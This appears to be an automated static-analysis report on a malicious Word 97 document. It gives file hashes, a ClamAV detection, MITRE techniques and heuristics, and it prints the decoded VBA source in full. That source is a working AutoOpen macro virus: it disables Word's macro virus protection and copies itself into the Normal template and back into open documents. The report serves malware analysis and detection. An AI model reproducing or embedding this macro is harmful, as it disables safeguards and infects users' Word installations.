Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e673e2a06d47d3fa…

MALICIOUS

Office (OLE)

27.5 KB Created: 2000-06-01 05:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 169ad7fe95d50936c2b375551215803d SHA-1: bc3b31aa0d082f32e34a7749438687a09dcfb74c SHA-256: e673e2a06d47d3fac5a01a069d3edd843a8818173050b821d29c85a810172ccc
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro attempts to copy itself to the Normal template and then back to the active document, indicating an attempt to establish persistence or prepare for further execution. The presence of legacy WordBasic markers and the ClamAV detection further support its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-17 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-17
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1573 bytes
SHA-256: 46aefc82bac28a434752cf1b416839843e31cd66f3d4766a197d676e0acd39ca
Detection
ClamAV: Doc.Trojan.Minimal-17
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "small"
Sub AutoOpen(): On Error Resume Next: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0: a = ActiveDocument.FullName: n = NormalTemplate.FullName
Application.OrganizerCopy Source:=a, Destination:=n, Name:="small", Object:=wdOrganizerObjectProjectItems: NormalTemplate.Save
Application.OrganizerCopy Source:=n, Destination:=a, Name:="small", Object:=wdOrganizerObjectProjectItems: ActiveDocument.Save
End Sub
'
'               MMM            MMMMMMMMM                 MM
'             MMMMMMMM     MMMMMMMMMMMMMMMM          MMMMMM
'              MMMMMMMMMMMMMMM/"""""""\MMMMMMMMMMMMMMMMMMMMM
'               MMMMMMMMMMMMMM\______/MMMMMMMMMMMMMMMMMMMMMM
'               MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
'               MMMM      MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
'               MMM        MMMMMMMMMMMMM           MMMMMMMMMM
'               MMM        MMMMMMMMMMM    RUSSIA     MMMMMMMM
'                MM         MMMMMMMM               M  MMMMMMM
'                MM        MMMMMMMMM             MMM   MMMMMM
'                         MMMMMMMMMMMMMM      MMMMM    MMMMMM
'                MM      MMMMMMMMMMMMMMMMMMMMMMMM       MMMM
'               MMMMMMMMMMMMMMMMMMMMMMMMMMMMM           MMMM
'              MMMMMMMMMM                                MM